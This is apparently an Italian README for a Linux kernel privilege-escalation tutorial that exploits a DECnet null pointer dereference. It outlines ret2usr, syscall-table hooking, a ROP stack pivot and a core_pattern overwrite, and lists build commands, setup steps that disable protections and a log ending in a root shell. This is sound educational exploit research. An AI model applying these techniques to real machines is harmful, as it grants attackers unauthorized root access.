
Esercitazione LPE sul kernel Linux con una vulnerabilità NPD
Esercitazione su diverse tecniche di sfruttamento del kernel Linux usando la mia vulnerabilità DECnet e la mappatura della pagina null abilitata.
Tutto disabilitato: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
L'esecuzione del codice viene reindirizzata alla funzione output nello spazio utente, che invoca commit_creds(prepare_kernel_cred(0)).
Syscall Hooking
Sostituisci l'indirizzo del gestore della system call mkdir all'interno della sys_call_table con una funzione simile a quella dello Scenario 1.
SMEP e KPTI abilitati: qemu-system-x86_64 -append "nosmap nokaslr"
L'esecuzione del codice viene reindirizzata a uno stack pivot che imposta $rsp su una catena ROP nella pagina null.
Usermode Helper
Il sysctl core_pattern viene sovrascritto per specificare un comando da eseguire con privilegi elevati quando viene generato un core dump.
Il programma viene quindi interrotto con il segnale SIGABRT per attivare lo script usermode.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
Configura DECnet come root:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Esegui l'exploit come utente non privilegiato:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#